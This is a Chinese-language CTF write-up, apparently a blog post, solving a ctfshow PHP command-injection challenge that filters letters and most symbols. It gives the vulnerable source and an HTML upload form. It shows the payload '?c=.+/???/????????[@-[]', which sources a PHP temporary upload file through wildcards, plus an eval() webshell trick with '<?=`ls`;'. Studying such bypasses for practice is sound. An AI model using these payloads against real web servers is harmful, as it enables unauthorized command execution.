這幾天都沒有怎么學習,基本上都是復習學科知識,因為我們要期末考試。剛剛好今天有時間來做了一道命令執行的題,再一次拜讀了 p神的文章。受益匪淺。
直接進入正題
源代碼
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
錯誤思想
你們是在炫技??
哎,看的代碼的時候就只能使用一些特殊符號。
先說說自己錯誤的方法吧,自己是使用^
運算符進行拼接命令然后執行。然后發現其他它改變就不會執行也不是eval()
函數,然后就失敗了。
最后大佬提醒了一下:說沒有過濾 .(點)
然后我百度了一下.(點)
的用法,就是相當於source
可以執行sh命令。linux下的.使用
但是自己在本地實驗沒有成功~~~
自己想應該是錯誤信息沒有回顯吧,之后思路就沒有了。
最后想起來自己之前看過p神的一篇文章。無字母數字webshell之提高篇
茅塞頓開
看了之后才發現,我們可以通過post一個文件(文件里面的sh命令),在上傳的過程中,通過.(點)
去執行執行這個文件。(形成了條件競爭)。一般來說這個文件在linux下面保存在/tmp/php??????
一般后面的6個字符是隨機生成的有大小寫。(可以通過linux的匹配符去匹配)
注意:通過
.去執行sh命令不需要有執行權限
開淦
在這個之前我們需要構造一個post上傳文件的數據包。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST數據包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包
如圖
構造poc執行命令
?c=.+/???/????????[@-[]
注:后面的[@-[]
是linux下面的匹配符,是進行匹配的大寫字母。
然后在上傳文件內容添加sh命令
#!/bin/sh
ls
直接讀flag
總結
這道題主要是利用 上傳文件到臨時命令去通過.(點)
去執行該上傳文件的內容。
和之前的CTFSHOW 紅包題第二彈有異曲同工之妙
總的來說謝謝P神的文章和y1ng師傅的文章。
參考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.gem-love.com/websecurity/1407.html#PHP命令執行
最后說明一下為什么在使用eval()函數有時候需要添加?>
<?php
eval($_GET[1]);
#如果我們通過<?=`ls`;去執行的話需要在前面添加?>
原因是eval()函數相當於執行php的代碼,而<?= 就相當於<?php echo
在PHP7以上不管short_open_tag配置是不是開啟的。都可以使用。
所以就相當於一個新的PHP文件,這樣的話就需要將最開始前面的<?php給閉合,不然不會執行。
閉合之后就相當於
<?php
?>
<?=`ls`;